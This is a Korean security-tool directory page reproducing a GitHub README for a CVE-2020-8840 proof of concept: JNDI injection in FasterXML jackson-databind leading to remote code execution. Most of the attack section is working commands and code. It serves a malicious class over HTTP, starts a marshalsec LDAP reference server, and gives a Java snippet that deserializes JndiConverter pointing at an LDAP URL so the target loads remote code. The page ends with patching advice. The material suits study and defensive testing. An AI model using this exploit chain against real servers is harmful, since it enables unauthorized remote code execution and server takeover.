Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2020-8840 — CVE-2020-8840에 대한 PoC 익스플로잇: FasterXML jackson-databind에서 원격 코드 실행으로 이어지는 JNDI 주입. 환경 설정, 익스플로잇 체인 및 수정 지침을 포함합니다. | Kitploit
도구/GitHubGitHub/fairyming/cve-2020-8840
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationLearning & EducationLabs & Practice
GitHubfairyming/cve-2020-8840

CVE-2020-8840

CVE-2020-8840에 대한 PoC 익스플로잇: FasterXML jackson-databind에서 원격 코드 실행으로 이어지는 JNDI 주입. 환경 설정, 익스플로잇 체인 및 수정 지침을 포함합니다.

저장소 보기
37716년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2020-8840:FasterXML/jackson-databind 원격 코드 실행 취약점

0x00 개요

    jackson-databind는 FasterXML 프로젝트 그룹의 JSON 처리 라이브러리입니다.

0x01 취약점 개요

    2월 19일, NVD는 jackson-databind의 JNDI 주입으로 인한 원격 코드 실행 취약점(CVE-2020-8840)을 공개했으며, CVSS 점수는 9.8입니다. 영향을 받는 버전의 jackson-databind는 org.apache.xbean.propertyeditor.JndiConverter와 같은 일부 xbean-reflect/JNDI 블랙리스트 클래스가 누락되어 있어, 공격자가 JNDI 주입 방식을 통해 원격 코드 실행을 달성할 수 있으며, 공격에 성공하면 서버의 제어 권한(웹 서비스 수준)을 획득할 수 있습니다.

0x02 영향을 받는 버전

2.0.0 <= FasterXML jackson-databind Version <= 2.9.10.2

0x03 환경 설정

  • jdk 버전: 1.81 【ldap 및 rmi를 JNDI 주입과 함께 사용하려면 jdk 버전에 대한 특정 요구 사항이 있습니다. 아래 그림을 통해 Oracle의 수정 시점을 명확히 알 수 있습니다.

20190606014739_69118.jpg

  1. 웹 서버 디렉토리에 이미 컴파일된 악성 클래스를 배치 WX20200223-135435@2x.png 여기서는 simplehttp를 사용하여 웹 서비스를 구축합니다
root@kitploit:~
python -m SimpleHTTPServer 8080

image.png

  1. ldap 서비스 시작 여기서는 marshalsec을 사용합니다. github 링크: https://github.com/mbechler/marshalsec
root@kitploit:~
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://localhost:8080/#Exploit

image.png

  1. Java 프로젝트를 생성하고 취약한 버전의 jar 패키지를 가져옵니다 WX20200223-135855@2x.png

0x04 취약점 활용

  • 전체 취약점 활용 체인
root@kitploit:~
poc --> ldap --> http
  • poc
root@kitploit:~
import com.fasterxml.jackson.databind.ObjectMapper;
import java.io.IOException;

public class Poc {
    public static void main(String args[]) {
        ObjectMapper mapper = new ObjectMapper();

        mapper.enableDefaultTyping();

        String json = "[\"org.apache.xbean.propertyeditor.JndiConverter\", {\"asText\":\"ldap://localhost:1389/Exploit\"}]";

        try {
            mapper.readValue(json, Object.class);
        } catch (IOException e) {
            e.printStackTrace();
        }

    }
}
  • poc를 직접 실행하여 ldap을 통해 웹 서버의 악성 클래스를 로드하고, 이로 인해 원격 코드 실행이 발생합니다

WX20200223-140159@2x.png

0x05 수정 방법

  1. jackson-databind를 2.9.10.3, 2.8.11.5, 2.10.x로 업그레이드
  2. 프로젝트에서 xbean-reflect를 사용하는지 확인합니다. 이번 취약점의 핵심 원인은 xbean-reflect에 사용자가 JNDI 원격 클래스 로딩 작업을 트리거할 수 있는 특수한 활용 체인이 존재하기 때문입니다. xbean-reflect를 제거하면 취약점의 영향을 완화할 수 있습니다.

참고 링크:

https://cert.360.cn/warning/detail?id=1fe3b5ea888750006e0d64fb0df1e6ee

https://github.com/jas502n/CVE-2020-8840

도구 다운로드